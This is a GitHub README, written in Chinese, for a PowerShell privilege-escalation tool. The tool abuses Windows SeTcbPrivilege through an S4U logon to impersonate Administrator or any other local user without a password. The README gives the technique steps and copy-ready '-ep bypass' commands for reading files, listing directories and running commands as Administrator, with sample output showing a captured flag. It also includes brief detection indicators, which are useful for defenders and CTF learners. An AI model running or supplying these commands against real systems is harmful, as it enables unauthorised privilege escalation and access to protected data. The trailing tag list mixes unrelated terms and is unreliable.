guyb27/SeTcbPrivilege_escalation
GitHub: guyb27/SeTcbPrivilege_escalation
利用Windows SeTcbPrivilege权限通过S4U登录在无需密码的情况下模拟任意本地用户,实现本地权限提升的PowerShell工具。
Stars: 0 | Forks: 0
# SeTcbPrivilege-Escalation
利用 **SeTcbPrivilege** 通过 S4U(带有 `MSV1_0_S4U_LOGON` 的 `LsaLogonUser`)在无需密码的情况下模拟任何本地用户。以 Administrator 的身份读取文件、列出目录并执行命令。使用 PowerShell + 内联 C# —— 无需编译。
## 工作原理
当 Windows 服务账户启用了 `SeTcbPrivilege`(“作为操作系统的一部分运行”)时,它可以调用 `LsaRegisterLogonProcess`,并通过带有 `MSV1_0_S4U_LOGON`(类型 12)的 `LsaLogonUser` 执行 S4U(Service for User)登录。这将为任何本地用户创建一个模拟 token —— **而无需知道其密码**。
该脚本:
1. 通过 `RtlAdjustPrivilege` 启用 `SeTcbPrivilege`
2. 使用 `LsaRegisterLogonProcess` 注册登录进程
3. 使用 `LsaLogonUser`(MSV1_0 包,类型 12)执行 S4U 登录
4. 调用 `ImpersonateLoggedOnUser` 以获取目标用户的身份
5. 在该上下文中读取文件、列出目录或执行命令
## 要求
- 拥有一个具备 **SeTcbPrivilege** 权限的用户 shell(使用 `whoami /priv` 检查)
- 支持 `Add-Type` 的 PowerShell(Windows Server 2012+ 默认支持)
- 无需管理员权限 —— SeTcbPrivilege 已足够
## 用法
将 `s4u_run.ps1` 传输到目标机器,然后执行:
```
# 以 Administrator 身份读取文件
powershell -ep bypass -File s4u_run.ps1 -Action read -Target "C:\Users\Administrator\Desktop\flag.txt"
# 以 Administrator 身份列出目录
powershell -ep bypass -File s4u_run.ps1 -Action dir -Target "C:\Users\Administrator\Desktop"
# 以 Administrator 身份执行命令
powershell -ep bypass -File s4u_run.ps1 -Action exec -Target "whoami /priv"
```
### 参数
| 参数 | 必填 | 默认值 | 描述 |
|-----------|----------|---------|-------------|
| `-Action` | 是 | — | `read`、`dir` 或 `exec` |
| `-Target` | 是 | — | 文件路径、目录路径或命令 |
| `-User` | 否 | `Administrator` | 要模拟的用户 |
| `-Domain` | 否 | `SRV01` | 机器名/域名 |
### 模拟其他用户
```
powershell -ep bypass -File s4u_run.ps1 -Action read -User "svc_backup" -Domain "DC01" -Target "C:\secrets.txt"
```
## 输出示例
```
PS C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= =================================== ========
SeTcbPrivilege Act as part of the operating system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
PS C:\> powershell -ep bypass -File s4u_run.ps1 -Action read -Target "C:\Users\Administrator\Desktop\flag.txt"
4832d0bd7c24d6e62b6a2afc75392645
PS C:\> powershell -ep bypass -File s4u_run.ps1 -Action dir -Target "C:\Users\Administrator\Desktop"
C:\Users\Administrator\Desktop\desktop.ini
C:\Users\Administrator\Desktop\flag.txt
```
## 关于 `exec` 操作的说明
`exec` 操作会在模拟线程下启动 `cmd.exe /c `。但是,`whoami` 可能仍然会显示原始用户,因为子进程继承的是 **进程 token**,而不是线程模拟 token。文件操作(`read`、`dir`)可以正常工作,因为它们直接在模拟的线程上下文中运行。
## 检测
- 事件 ID **4624**,登录类型 **12**(S4U / NewCredentials)以及 `MICROSOFT_AUTHENTICATION_PACKAGE_V1_0` 包
- 通过 `LsaRegisterLogonProcess` 注册的进程名(默认:`JavaSvc`)
- 对 `secur32.dll` / `ntdll.dll` 使用带有 P/Invoke 签名的 `Add-Type`
## 参考
- [Microsoft — LsaLogonUser 函数](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsalogonuser)
- [Microsoft — MSV1_0_S4U_LOGON 结构](https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-msv1_0_s4u_logon)
- [Microsoft — SeTcbPrivilege](https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/act-as-part-of-the-operating-system)
## 许可证
[MIT](LICENSE)
标签:AI合规, IPv6, Libemu, PowerShell, S4U, 协议分析, 权限提升, 权限滥用, 端点可见性